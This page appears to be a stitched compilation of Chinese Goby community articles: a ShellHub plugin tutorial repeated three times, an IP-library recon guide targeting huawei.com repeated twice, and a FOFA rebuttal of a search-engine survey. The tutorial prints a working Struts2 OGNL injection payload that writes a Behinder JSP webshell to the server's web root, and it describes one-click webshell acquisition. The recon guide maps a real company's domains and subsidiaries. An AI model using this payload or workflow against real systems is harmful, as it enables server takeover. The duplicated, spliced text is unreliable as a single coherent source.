封面.png

前言: 渗透测试过程中发现存在文件上传漏洞时,我们往往会尝试通过上传木马文件获取一个 webshell。上传的木马文件通常需要一个客户端例如冰蝎和蚁剑进行 shell 的获取及管理,在这一过程中用户需要打开管理工具并填写连接信息如上传文件的 url、连接密码等。然而,Goby 中 ShellHub 的出现可以使这个过程一键优雅的实现,只需点击 webshell 键即可弹出 webshell 控制窗口。

0×01 插件安装

ShellHub 已支持在 Goby 最新版插件扩展模块中一键下载安装。

图片1.png

下载完 ShellHub 插件后即可在 PoC 页面定义相关的漏洞一键 webshell。

0×02 插件使用

本次选取 cve_2016_0785-Strtus2 远程代码执行漏洞获取 webshell 作为 PoC 演示。

1.在漏洞模块新建 PoC, 填写名称匹配规则和描述等基本信息:

图片2.png

2.在漏洞扫描检测页面设置 HTTP 请求方法为 POST。

图片3.png

在 Content-Type 字段中填入本次漏洞利用的 payload,在漏洞测试环节中 name 和 file 变量暂时用不上。

payload:

%{(#nike='multipart/form-data').
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#req=(@[email protected]())).
(#path1=#req.getRealPath('/')).(#sb=(new java.lang.StringBuilder(#path1))).
(#path=#sb.append('/{{{name}}}')).(#shell='{{{file}}}').(#file=new java.io.File(#path)).(#fw=new java.io.FileWriter(#file)).(#fw.write(#shell)).
(#fw.flush()).(#fw.close()).(#ros=(@[email protected]().getWriter())).
(#ros.print('UPLO')).(#ros.println('AD-OK')).(#ros.flush())}

3.在 Payload 中实现一个功能:打印出 UPLOAD-OK 字符串,作为漏洞是否利用成功的依据。

4.在攻击测试页面中定义 3 个变量,其中前两个变量 name(为随机生成的 8 位冰蝎马前缀 +.jsp 后缀构成冰蝎马相对路径),file 变量表示写入的木马文件内容。payload用上面测试的即可,上述变量会被引用至 payload 中。

变量详情:

name|rand|str|8

//生成8位随机字符

name|name|concat|.jsp

//前面生成的字符加上后缀构成木马相对路径

file|genshell|exp|B:jsp

// file 代表变量名,可随意指定,该变量实际是一个数组,在http请求头中或请求体时,其值为一个形如

图片4.png

5.设置漏洞利用成功标识-响应包中含有 UPLOAD-OK 字符串,设置 EXP 返回信息,包含:webshell 地址,webshell 连接密码,webshell 连接工具即可。

6.在 vulfocus.fofa.so 页面下快速启动一个用来测试的漏洞环境。


将存在漏洞的 url 导入,进行漏洞扫描和利用测试。

图片7.png

扫描验证成功后点击 webshell 即可一键获取 webshell。

0×03 插件亮点

1.该 Goby 插件在对同一种类型漏洞获取 webshell 的利用方式 PoC 进行定义后,即可实现发现漏洞后一键 webshell。整个过程行云流水,将发现漏洞 -> 文件上传写入木马 -> 连接 webshell 客户端一系列流程进行融合简化为一键式操作。将渗透测试获取 webshell 的流程在 Goby 一款工具上进行打通,大大提高了漏洞发现和利用的效率。

2.支持自定义各类获取 webshell 的 PoC, PoC 编写浅显易懂大部分 payload 取自手动测试时所用的 payload 并再此基础上进行修改最终实现想要的功能。例如在代码执行的漏洞中利用代码执行写入 jsp 木马文件,PoC 一次编写可供多次使用。

PoC 中检测漏洞利用是否成功的方式也很简单。例如判断响应包中是否存在唯一标识符等,也可以增加多个测试来保证漏洞的可靠性。笔者本次只校验了返回包中是否存在 UPLOAD-OK 字符串来判断漏洞是否利用成功。

3.支持多语言木马的上传。支持包括 JSPX、JSP、PHP、ASPX、ASP 冰蝎马的写入和一键实现获取 webshell, 语言覆盖面广。

4.目前该插件目前支持基本信息、文件管理、虚拟终端三大模块的 webShell 功能点,功能模块简洁明了。

0×04 插件不足

1.目前只支持冰蝎的木马,期待蚁剑、哥斯拉木马的支持。使得用户在木马的使用上多几种选择。

2.webshell 支持的功能点可以扩充多一点,增加常用的功能模块如可以考虑集成常用命令,渗透工具等。

3.可以考虑附带常见用来获取 webShell 的 PoC,提升使用者使用效率等。

如果表哥/表姐也想把自己上交给社区,(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ webshell 等文章均可),欢迎投稿到我们公众号,红队专版等着你们~~~

文章来自Goby社区成员:mybad,转载请注明出处。

下载Goby内测版,请关注公众号:Gobysec

下载Goby正式版,请访问官网:http://gobies.org

封面.png

前言: 渗透测试过程中发现存在文件上传漏洞时,我们往往会尝试通过上传木马文件获取一个 webshell。上传的木马文件通常需要一个客户端例如冰蝎和蚁剑进行 shell 的获取及管理,在这一过程中用户需要打开管理工具并填写连接信息如上传文件的 url、连接密码等。然而,Goby 中 ShellHub 的出现可以使这个过程一键优雅的实现,只需点击 webshell 键即可弹出 webshell 控制窗口。

0×01 插件安装

ShellHub 已支持在 Goby 最新版插件扩展模块中一键下载安装。

图片1.png

下载完 ShellHub 插件后即可在 PoC 页面定义相关的漏洞一键 webshell。

0×02 插件使用

本次选取 cve_2016_0785-Strtus2 远程代码执行漏洞获取 webshell 作为 PoC 演示。

1.在漏洞模块新建 PoC, 填写名称匹配规则和描述等基本信息:

图片2.png

2.在漏洞扫描检测页面设置 HTTP 请求方法为 POST。

图片3.png

在 Content-Type 字段中填入本次漏洞利用的 payload,在漏洞测试环节中 name 和 file 变量暂时用不上。

payload:

%{(#nike='multipart/form-data').
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#req=(@[email protected]())).
(#path1=#req.getRealPath('/')).(#sb=(new java.lang.StringBuilder(#path1))).
(#path=#sb.append('/{{{name}}}')).(#shell='{{{file}}}').(#file=new java.io.File(#path)).(#fw=new java.io.FileWriter(#file)).(#fw.write(#shell)).
(#fw.flush()).(#fw.close()).(#ros=(@[email protected]().getWriter())).
(#ros.print('UPLO')).(#ros.println('AD-OK')).(#ros.flush())}

3.在 Payload 中实现一个功能:打印出 UPLOAD-OK 字符串,作为漏洞是否利用成功的依据。

4.在攻击测试页面中定义 3 个变量,其中前两个变量 name(为随机生成的 8 位冰蝎马前缀 +.jsp 后缀构成冰蝎马相对路径),file 变量表示写入的木马文件内容。payload用上面测试的即可,上述变量会被引用至 payload 中。

变量详情:

name|rand|str|8

//生成8位随机字符

name|name|concat|.jsp

//前面生成的字符加上后缀构成木马相对路径

file|genshell|exp|B:jsp

// file 代表变量名,可随意指定,该变量实际是一个数组,在http请求头中或请求体时,其值为一个形如

图片4.png

5.设置漏洞利用成功标识-响应包中含有 UPLOAD-OK 字符串,设置 EXP 返回信息,包含:webshell 地址,webshell 连接密码,webshell 连接工具即可。

6.在 vulfocus.fofa.so 页面下快速启动一个用来测试的漏洞环境。


将存在漏洞的 url 导入,进行漏洞扫描和利用测试。

图片7.png

扫描验证成功后点击 webshell 即可一键获取 webshell。

0×03 插件亮点

1.该 Goby 插件在对同一种类型漏洞获取 webshell 的利用方式 PoC 进行定义后,即可实现发现漏洞后一键 webshell。整个过程行云流水,将发现漏洞 -> 文件上传写入木马 -> 连接 webshell 客户端一系列流程进行融合简化为一键式操作。将渗透测试获取 webshell 的流程在 Goby 一款工具上进行打通,大大提高了漏洞发现和利用的效率。

2.支持自定义各类获取 webshell 的 PoC, PoC 编写浅显易懂大部分 payload 取自手动测试时所用的 payload 并再此基础上进行修改最终实现想要的功能。例如在代码执行的漏洞中利用代码执行写入 jsp 木马文件,PoC 一次编写可供多次使用。

PoC 中检测漏洞利用是否成功的方式也很简单。例如判断响应包中是否存在唯一标识符等,也可以增加多个测试来保证漏洞的可靠性。笔者本次只校验了返回包中是否存在 UPLOAD-OK 字符串来判断漏洞是否利用成功。

3.支持多语言木马的上传。支持包括 JSPX、JSP、PHP、ASPX、ASP 冰蝎马的写入和一键实现获取 webshell, 语言覆盖面广。

4.目前该插件目前支持基本信息、文件管理、虚拟终端三大模块的 webShell 功能点,功能模块简洁明了。

0×04 插件不足

1.目前只支持冰蝎的木马,期待蚁剑、哥斯拉木马的支持。使得用户在木马的使用上多几种选择。

2.webshell 支持的功能点可以扩充多一点,增加常用的功能模块如可以考虑集成常用命令,渗透工具等。

3.可以考虑附带常见用来获取 webShell 的 PoC,提升使用者使用效率等。

如果表哥/表姐也想把自己上交给社区,(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ webshell 等文章均可),欢迎投稿到我们公众号,红队专版等着你们~~~

文章来自Goby社区成员:mybad,转载请注明出处。

下载Goby内测版,请关注公众号:Gobysec

下载Goby正式版,请访问官网:http://gobies.org

封面.png

前言: 渗透测试过程中发现存在文件上传漏洞时,我们往往会尝试通过上传木马文件获取一个 webshell。上传的木马文件通常需要一个客户端例如冰蝎和蚁剑进行 shell 的获取及管理,在这一过程中用户需要打开管理工具并填写连接信息如上传文件的 url、连接密码等。然而,Goby 中 ShellHub 的出现可以使这个过程一键优雅的实现,只需点击 webshell 键即可弹出 webshell 控制窗口。

0×01 插件安装

ShellHub 已支持在 Goby 最新版插件扩展模块中一键下载安装。

图片1.png

下载完 ShellHub 插件后即可在 PoC 页面定义相关的漏洞一键 webshell。

0×02 插件使用

本次选取 cve_2016_0785-Strtus2 远程代码执行漏洞获取 webshell 作为 PoC 演示。

1.在漏洞模块新建 PoC, 填写名称匹配规则和描述等基本信息:

图片2.png

2.在漏洞扫描检测页面设置 HTTP 请求方法为 POST。

图片3.png

在 Content-Type 字段中填入本次漏洞利用的 payload,在漏洞测试环节中 name 和 file 变量暂时用不上。

payload:

%{(#nike='multipart/form-data').
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#req=(@[email protected]())).
(#path1=#req.getRealPath('/')).(#sb=(new java.lang.StringBuilder(#path1))).
(#path=#sb.append('/{{{name}}}')).(#shell='{{{file}}}').(#file=new java.io.File(#path)).(#fw=new java.io.FileWriter(#file)).(#fw.write(#shell)).
(#fw.flush()).(#fw.close()).(#ros=(@[email protected]().getWriter())).
(#ros.print('UPLO')).(#ros.println('AD-OK')).(#ros.flush())}

3.在 Payload 中实现一个功能:打印出 UPLOAD-OK 字符串,作为漏洞是否利用成功的依据。

4.在攻击测试页面中定义 3 个变量,其中前两个变量 name(为随机生成的 8 位冰蝎马前缀 +.jsp 后缀构成冰蝎马相对路径),file 变量表示写入的木马文件内容。payload用上面测试的即可,上述变量会被引用至 payload 中。

变量详情:

name|rand|str|8

//生成8位随机字符

name|name|concat|.jsp

//前面生成的字符加上后缀构成木马相对路径

file|genshell|exp|B:jsp

// file 代表变量名,可随意指定,该变量实际是一个数组,在http请求头中或请求体时,其值为一个形如

图片4.png

5.设置漏洞利用成功标识-响应包中含有 UPLOAD-OK 字符串,设置 EXP 返回信息,包含:webshell 地址,webshell 连接密码,webshell 连接工具即可。

6.在 vulfocus.fofa.so 页面下快速启动一个用来测试的漏洞环境。


将存在漏洞的 url 导入,进行漏洞扫描和利用测试。

图片7.png

扫描验证成功后点击 webshell 即可一键获取 webshell。

0×03 插件亮点

1.该 Goby 插件在对同一种类型漏洞获取 webshell 的利用方式 PoC 进行定义后,即可实现发现漏洞后一键 webshell。整个过程行云流水,将发现漏洞 -> 文件上传写入木马 -> 连接 webshell 客户端一系列流程进行融合简化为一键式操作。将渗透测试获取 webshell 的流程在 Goby 一款工具上进行打通,大大提高了漏洞发现和利用的效率。

2.支持自定义各类获取 webshell 的 PoC, PoC 编写浅显易懂大部分 payload 取自手动测试时所用的 payload 并再此基础上进行修改最终实现想要的功能。例如在代码执行的漏洞中利用代码执行写入 jsp 木马文件,PoC 一次编写可供多次使用。

PoC 中检测漏洞利用是否成功的方式也很简单。例如判断响应包中是否存在唯一标识符等,也可以增加多个测试来保证漏洞的可靠性。笔者本次只校验了返回包中是否存在 UPLOAD-OK 字符串来判断漏洞是否利用成功。

3.支持多语言木马的上传。支持包括 JSPX、JSP、PHP、ASPX、ASP 冰蝎马的写入和一键实现获取 webshell, 语言覆盖面广。

4.目前该插件目前支持基本信息、文件管理、虚拟终端三大模块的 webShell 功能点,功能模块简洁明了。

0×04 插件不足

1.目前只支持冰蝎的木马,期待蚁剑、哥斯拉木马的支持。使得用户在木马的使用上多几种选择。

2.webshell 支持的功能点可以扩充多一点,增加常用的功能模块如可以考虑集成常用命令,渗透工具等。

3.可以考虑附带常见用来获取 webShell 的 PoC,提升使用者使用效率等。

如果表哥/表姐也想把自己上交给社区,(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ webshell 等文章均可),欢迎投稿到我们公众号,红队专版等着你们~~~

文章来自Goby社区成员:mybad,转载请注明出处。

下载Goby内测版,请关注公众号:Gobysec

下载Goby正式版,请访问官网:http://gobies.org

goby技术分享.png

前言:安全人员在渗透测试、攻防演练的第一步就是信息收集,收集目标公司的域名、IP。近期 Goby 新版本添加了一个内测功能,叫 IP 库。研究了一段时间,发现其基本思想是通过某个资产节点,如:域名、IP、公司、备案、HTTPS 证书或站点图标等,导入其他资产,通过多次执行导入动作,扩充资产。可以帮助安全人员更好的收集资产而编写的一个功能。

本文以收集 huawei.com 相关资产为例,说说 Goby IP 库里的一些功能使用。

0x01 节点类型

打开 Goby 最新版,点击右侧那个写着 “IP Lib” 的按钮,进入 IP 库。

初始界面是一个中间写着 Start 的按钮,点击该按钮,开始添加第一个资产节点。

原文:Goby 内测版 1.9.304 | IP 库 Big Feature 上线,限时尝鲜

资产节点的类型有:

domain:主域名

subdomain:子域名

icp:主备案号

ip:IP地址

cert:HTTPS 证书序列号(跟 FOFA 的 HTTPS 证书信息里的 Serial Number 字段一个意思)

icon:图标 hash 值(跟 FOFA 的 icon_hash 一个意思)

keyword:关键字

company:公司名

开始看到 domain 和 subdomain 有些疑惑,这两个有什么区别呢。问了 Goby 团队,才知道 domain 节点是一个概念节点,用于汇集子域名。

比如添加一个 example.com 的 domain 节点,在获取子域名操作的时候,可以获取到 example.com 和 www.example.com 这两个 subdomain 类型节点,example.com:domain 与 example.com:subdomain 是不同的节点,而这个 example.com:domain 节点就指向这两个 subdomain 节点。如下图:

3.png

我按照 Goby 之前发的演示视频,添加一个值为 huawei.com 的 domain 节点。

4.png

0x02 右键菜单

添加完 domain 节点,在该节点上右键,看看有什么操作可以选择:

导入 subdomain / ip → FOFA:从 FOFA 获取子域名

导入 icon → FOFA:从 FOFA 获取图标

导入 cert → FOFA:从 FOFA 获取 HTTPS 证书

导入 icp:获取域名对应的主备案号

增加:添加节点

折叠 domain:折叠操作,用于折叠显示该 domain 下方的 subdomain 节点

展开 subdomain:如果 domain 节点下的 subdomain 节点被折叠了,则展开显示

查看关系:查看该节点与其他节点之间的关系

试试导入 icp,发现多了两个主要节点,一个主备案号,一个备案号对应的备案主体的公司。

0x03 不确定的数据

试试在公司节点上右键点击导入 company,弹出一个框。这里跟上面导入 icp 后直接渲染出节点不同,而是让我们自己勾选想要添加的数据。

5.png

在弹出的框中,看到“华为投资控股有限公司”是“深圳市华为技术有限公司”的母公司(Is Parent 列为 Y),它的投资比例是 90%。很明显这家公司跟华为相关,把它勾选上,还有其他子公司(Is Parent 列为 N),粗略判断下,都勾上,再点击“增加”按钮添加。

0x04 批量操作

上面导了那么多公司,有的公司会有备案,有的没有。我想尝试导入所有公司的备案号,该怎么批量操作?有一些叫 XXRoot 的节点,看着有些可疑,右键看看是否有批量操作(果真有)。在 companyRoot 节点上右键看看菜单:

◼导入所有 icp → 全部:对 companyRoot 下的所有公司节点都执行一遍导入 icp

◼导入所有 icp → 未操作节点:对 companyRoot 下没有执行过导入 icp 操作的公司节点都执行一遍导入 icp

这里选择第二个操作,因为之前导过 icp 的公司没必要再操作一遍。

按照常规的信息收集思路,接着获取所有主备案号对应的所有域名:在 icpRoot 节点上右键 → 导入所有 domain → 未操作节点。这一步可以搜集很多跟华为相关的主域名,像 hisilicon.com(海思),hikunpeng.com(鲲鹏)。

6.png

接着就是获取这些主域名的子域名:在 domainRoot 节点上右键 → 导入所有subdomain/ip → 全部。(节点有点多,可能找不到 domainRoot 节点,可以到左上角的搜索按钮进行搜索)。这个批量操作不太行,有些耗时,有时还会 5xx 错误,多试几次吧。

0x05 按钮栏

界面左上角有一排按钮,说几个我常用的按钮。

7.png

操作日志按钮:点击该按钮,在右侧会多一个日志栏,可以清楚地看到每个导入操作获取到多少数据,再点击日志上的蓝色字,就可以看到具体是哪些数据。

8.png

节点列表按钮:点该按钮,右侧多了个列表。列表里包含目前获取到的域名、IP、备案号等数据。

数据导出按钮:将数据导出到文件。数据导入按钮:可将之前导出的文件再导入进来,接着上次收集的资产继续操作。

0x06 小结

上面整个收集流程的精华是:收集子母公司 → 收集公司对应的备案号 → 收集备案号对应的域名,这样可以拿到很多相关的主域名。之前收集时,每一步骤都去找对应的脚本,或者自己写脚本。IP 库这些功能确实方便了很多,自动化资产梳理神器呐。

IP 库还有一些本文未提及的功能,像导入 HTTPS 证书、图标,再从 HTTPS 证书、图标去反查域名 / IP。基于文章篇幅(lanle)就不写了。在多次尝试每个功能,资产也慢慢多了,最后来一个数据导出操作,再将数据喂给扫描器。

此外,感谢 Goby 团队的@go0p 表哥对本文的指导。

goby技术分享.png

前言:安全人员在渗透测试、攻防演练的第一步就是信息收集,收集目标公司的域名、IP。近期 Goby 新版本添加了一个内测功能,叫 IP 库。研究了一段时间,发现其基本思想是通过某个资产节点,如:域名、IP、公司、备案、HTTPS 证书或站点图标等,导入其他资产,通过多次执行导入动作,扩充资产。可以帮助安全人员更好的收集资产而编写的一个功能。

本文以收集 huawei.com 相关资产为例,说说 Goby IP 库里的一些功能使用。

0x01 节点类型

打开 Goby 最新版,点击右侧那个写着 “IP Lib” 的按钮,进入 IP 库。

初始界面是一个中间写着 Start 的按钮,点击该按钮,开始添加第一个资产节点。

原文:Goby 内测版 1.9.304 | IP 库 Big Feature 上线,限时尝鲜

资产节点的类型有:

domain:主域名

subdomain:子域名

icp:主备案号

ip:IP地址

cert:HTTPS 证书序列号(跟 FOFA 的 HTTPS 证书信息里的 Serial Number 字段一个意思)

icon:图标 hash 值(跟 FOFA 的 icon_hash 一个意思)

keyword:关键字

company:公司名

开始看到 domain 和 subdomain 有些疑惑,这两个有什么区别呢。问了 Goby 团队,才知道 domain 节点是一个概念节点,用于汇集子域名。

比如添加一个 example.com 的 domain 节点,在获取子域名操作的时候,可以获取到 example.com 和 www.example.com 这两个 subdomain 类型节点,example.com:domain 与 example.com:subdomain 是不同的节点,而这个 example.com:domain 节点就指向这两个 subdomain 节点。如下图:

3.png

我按照 Goby 之前发的演示视频,添加一个值为 huawei.com 的 domain 节点。

4.png

0x02 右键菜单

添加完 domain 节点,在该节点上右键,看看有什么操作可以选择:

导入 subdomain / ip → FOFA:从 FOFA 获取子域名

导入 icon → FOFA:从 FOFA 获取图标

导入 cert → FOFA:从 FOFA 获取 HTTPS 证书

导入 icp:获取域名对应的主备案号

增加:添加节点

折叠 domain:折叠操作,用于折叠显示该 domain 下方的 subdomain 节点

展开 subdomain:如果 domain 节点下的 subdomain 节点被折叠了,则展开显示

查看关系:查看该节点与其他节点之间的关系

试试导入 icp,发现多了两个主要节点,一个主备案号,一个备案号对应的备案主体的公司。

0x03 不确定的数据

试试在公司节点上右键点击导入 company,弹出一个框。这里跟上面导入 icp 后直接渲染出节点不同,而是让我们自己勾选想要添加的数据。

5.png

在弹出的框中,看到“华为投资控股有限公司”是“深圳市华为技术有限公司”的母公司(Is Parent 列为 Y),它的投资比例是 90%。很明显这家公司跟华为相关,把它勾选上,还有其他子公司(Is Parent 列为 N),粗略判断下,都勾上,再点击“增加”按钮添加。

0x04 批量操作

上面导了那么多公司,有的公司会有备案,有的没有。我想尝试导入所有公司的备案号,该怎么批量操作?有一些叫 XXRoot 的节点,看着有些可疑,右键看看是否有批量操作(果真有)。在 companyRoot 节点上右键看看菜单:

◼导入所有 icp → 全部:对 companyRoot 下的所有公司节点都执行一遍导入 icp

◼导入所有 icp → 未操作节点:对 companyRoot 下没有执行过导入 icp 操作的公司节点都执行一遍导入 icp

这里选择第二个操作,因为之前导过 icp 的公司没必要再操作一遍。

按照常规的信息收集思路,接着获取所有主备案号对应的所有域名:在 icpRoot 节点上右键 → 导入所有 domain → 未操作节点。这一步可以搜集很多跟华为相关的主域名,像 hisilicon.com(海思),hikunpeng.com(鲲鹏)。

6.png

接着就是获取这些主域名的子域名:在 domainRoot 节点上右键 → 导入所有subdomain/ip → 全部。(节点有点多,可能找不到 domainRoot 节点,可以到左上角的搜索按钮进行搜索)。这个批量操作不太行,有些耗时,有时还会 5xx 错误,多试几次吧。

0x05 按钮栏

界面左上角有一排按钮,说几个我常用的按钮。

7.png

操作日志按钮:点击该按钮,在右侧会多一个日志栏,可以清楚地看到每个导入操作获取到多少数据,再点击日志上的蓝色字,就可以看到具体是哪些数据。

8.png

节点列表按钮:点该按钮,右侧多了个列表。列表里包含目前获取到的域名、IP、备案号等数据。

数据导出按钮:将数据导出到文件。数据导入按钮:可将之前导出的文件再导入进来,接着上次收集的资产继续操作。

0x06 小结

上面整个收集流程的精华是:收集子母公司 → 收集公司对应的备案号 → 收集备案号对应的域名,这样可以拿到很多相关的主域名。之前收集时,每一步骤都去找对应的脚本,或者自己写脚本。IP 库这些功能确实方便了很多,自动化资产梳理神器呐。

IP 库还有一些本文未提及的功能,像导入 HTTPS 证书、图标,再从 HTTPS 证书、图标去反查域名 / IP。基于文章篇幅(lanle)就不写了。在多次尝试每个功能,资产也慢慢多了,最后来一个数据导出操作,再将数据喂给扫描器。

此外,感谢 Goby 团队的@go0p 表哥对本文的指导。

前一段时间,朋友发给我一篇英文文章,说这篇名为《A Survey on Cyberspace Search Engines》的文章里面把几家做网络空间测绘的平台进行了比较。通常我对于这种都不太在意,没有比做让用户认可的技术更重要的事情了,用户都是用脚投票,好用我就来,不好用就走。用户能够感知到你的用心程度,所以不必尝试去证明什么,客户能做判断。尤其还是英文的文章,我不觉得能对99%都是国内用户的fofa平台分析出个什么来,至少目前我还没有精力关注这一块。一直到后来,经过人家提醒,我才发现第一作者是来自国内某权威单位的专家,由此我不得不重视和关注。

在我深入的分析了文章之后,我有两个很清晰的感觉。一是网络空间测绘这个网络安全细分领域的技术,得到了来自权威部门的关注和认可,这对我们这些一直坚持在技术一线的团队和公司来说,是一件非常非常值得开心的事情,这比我们自说自话要有意义得多。由于一直没有特定的行业标准和资质品类,至今类似公司的相关产品申请的销售许可都是往漏洞扫描器去挂靠。如果得到的响应地关注,我们可以预见在不远的将来,行业能够得到更加规范的发展。二是由于这门技术的特殊性(主要还是大家对技术总结的比较少),导致一些非常基础的概念大家都并有能够达成共识,产生了一些理解上非常明显的“偏差”。想了想,我觉得我们还是有责任来总结一些我们的理解,提供一些小小的建议,仅供大家参考。

一)参考链接比较随意,非权威来源,且缺少价值信息;

图片 1.png

根据文章链接内容3(https://www.zoomeye.org/doc?Thechannel=user#d-service),作者尝试说明zoomeye的用户手册中提到了协议来源于nmap-services的描述。点进去页面后却发现并没有任何内容提到这一点,且连nmap字样都看不到。我们姑且认为网站进行了改版,以前的信息看不到了,那么我们思考一个问题,我们可以宣称参考了某个规范,它可以解读为a)我们部分实现了里面的协议;b)我们全部实现了所有协议;官方未必有这个意思,不过文章中显然采信了第二种假设。于是我们做了一个很小的随机抽样测试,随机选择了nmap-services中的50个协议进行确认,zoomeye只实现了其中的11种,这个证伪的过程是比较简单的(具体测试方法,如果相关同事有兴趣,可以联系我们)。从另一个角度,如果以后各网络空间测绘引擎在各自官网都写上,我们的“协议参考了nmap以及wireshark”,这个领域对比是不是就简单了?

文章参考链接的4(https://www.freebuf.com/articles/ics-articles/196647.html),名称叫做《2018年工业控制网络安全态势白皮书》。文章说fofa的协议列表来源于这篇文章,事实上引用的来源文章里面非但完全没有提及fofa,而且来源明确说了信息是根据“东北大学谛听网络安全团队根据“谛听”网络空间工控设备搜索引擎收集的各类安全数据”。这种“张冠李戴”的情况出现在一个严谨的学术论文,实属难以理解。退一万步说,2018年的分析也不能跟另外几家的现在去比较,很简单的逻辑是:仅工业控制协议,Fofa从2018年起都增加了数十个。

基于上面的分析,我们认为数据的参考是不可取的,其实国内各平台应该也愿意配合官方进行标准的制定,如果有权威部门进行汇总整理,由各平台自行保送,加上权威部门的验证确认更合理一点。一定要确认,因为参考了不一定实现了,实现了不一定准确了,准确了不一定全网数据采集全面了。对比就是为了区分不同平台的优劣势,大家选择发力方向不同,结果自然不同。

二)对比的核心维度概念模糊,存在不一致性;

图片 2.png

其中这一张图比较有代表性。我们稍微介绍一下在网络空间测绘领域比较重要的几个基本数据的统计维度:

1)网络资产数:通俗一点就是数据记录条数,技术一点就是用什么作为存储的key键值。不同的平台实现的机制并不一致,比如shodan是按照ip:port存储,fofa和zoomeye是按照host:port存储,360的quake平台是根据ip:port:date存储。因为shodan选择的是只针对ip层面进行分析,所以他们直接放弃了主机域名的分析,一个ip可以对应任意多个域名,在以前的一些文章我已经说明了,为什么用shodan做针对某个企业的互联网暴露面梳理效果比较差。其他平台都采用了网站域名的分析,数据量差别比较大,目前fofa的主机域名数暂时上来说优势还是有一点的。基于host:port的方式会存储两个数据存储:一个叫热数据,比如昨天发现了1.1.1.1:80,今天又发现了,在你热数据中会发生覆盖,只会有一条最新的;另一个叫冷数据或者叫历史数据,大家按名字理解就好。quake平台稍微特殊,由于加入了date作为key,会导致一个ip的一个端口,你可以查询出来多条数据。

2)独立IP数:基于上面的说法,大家就知道,记录数不代表ip数,一个ip开了多个端口,就对应多条记录。大家通常对ip比较理解,所以fofa在你搜索的时候会明确告知你聚合后的ip总数有多少。在shodan,你直接查询一个端口比如port:80它给出来的统计数据其实就是准确的ip个数,其他平台大家可以自行分析方法。在硬件(物联网或者服务器)领域,IP和硬件是一一对应的,但是在软件应用领域,一个IP可以承载任意多个应用,这也就是我们俗称的攻击点。

3)指纹规则数:一条指纹规则简单来说就是能够用于识别某一类设备或者软件的查询语句。这是fofa最先发明的,早期各平台都是内嵌了简单的一些设备识别库,也不提供html等大文本的关键字检索,所以用户无法自定义和保存。fofa一开始的设计理念就是用户更懂场景,所以要放开这种方法,让用户来自定义识别的语法,然后可以保存下来方便后续使用。最初我们叫应用规则库,后来慢慢叫法就多了,有叫指纹库的,也有叫规则集的,还有叫软硬件识别库的。一条指纹可以对应任意多条设备。目前论指纹规则库,fofa还是有一点点的优势的。

4)特定规则集匹配的网络资产数:如上所述,一个规则查询的结果其实就是匹配的网络资产数,所有指纹规则库匹配的网络资产数基本就是全库了。

v2-7af8184c8c078915567919a3a9b86fc7_1440w.png

如果上面说的还是难以理解,我们通过上图这个非常简单的示例来说明:我们尝试搜索互联网中开放的Apache网站服务器数量,我们可以在fofa中检索app=”APACHE-Web-Server”,这时返回的11675万代表了互联网中存在的所有使用了这个服务器的资产数,其中网站和协议是可以有重合的,分别对应7442万和4232万,因为一个80端口在协议中是存在的,但是它可能假设多个域名。独立ip只有2916万,是因为一个ip的apache服务器可以绑定到多个端口。

回到上面的那张对比图,就是一个非常有意思的结果了:shodan对应4亿,zoomeye对应11亿,fofa对应27万。我相信每一条数据作者都是经过思考和挑选的,只是没能梳理清楚,到底是全网的网络资产数,还是独立IP数,还是指纹规则库的数量,以及特定规则集匹配的网络资产数,甚至是可能没有分清是热数据还是包含了历史数据。如果不在一个维度来对比,也就没有太大的参考价值。

另外,值得强调的是,哪怕是在一个维度进行对比,单纯的对比数据也存在很大的误导性,比如shodan只拿出一个月的数据作为热数据,老的数据它都不展示(没覆盖的也不显示),quake是把历史数据也展示出来了,所以实际上你可能很难统计出一个公允的结果。我们要考虑一定时间内数据的获取能力(注意必须要考虑一定时间内),要考虑数据的深入性和准确性(比如协议或者规则)。如果没有这些,就必然出现各大平台玩起了刷数据的游戏,乐此不疲。如果shodan隐藏实力,我们向它学习还是有意义的。

三)数据抽样测试的参考标准存在差异,直接影响了结果;

图片 3.png

这里我必须帮zoomeye说一句话:如果作为互联网使用量最大的http协议一次轮巡需要超过一年时间,基本上这个平台就废了,zoomeye绝对不至于这么不济。censys的周期是对的因为他们的端口数量是最少的所以相对而言周期是最快的,shodan的周期稍微有些偏差,zoomeye和fofa的时间则是存在很大的问题。这几个协议是互联网用的最多的协议的前几名,数量大变化快,能够很好的用户实战体系中,所以各家都比较重视,不会存在不抓取的情况。

在图中出现了“-”说明没有扫描数据,而shodan和censys有,我大胆地推测拿出来的对比测试的IP是以shodan或者censys为主的(这一点我只是个人推测)。由于网络变化太快,一个ip端口上线后快速下线,所以哪怕在一天一次这种极速轮询过程中,一定会出现一些IP刚好只被一个平台抓到,在其他平台都没有抓取到。要举一个反证实在太容易了,比如24.232.7.242这个IP,大家到各平台搜索一下,你会发现这个ip对应的23端口只存在于fofa平台,这仅仅能证明那一天刚好被fofa抓到了,其他平台到它那去的时候23端口已经关闭,但这一定证明不了由此shodan或者censys的扫描频率是“-”。

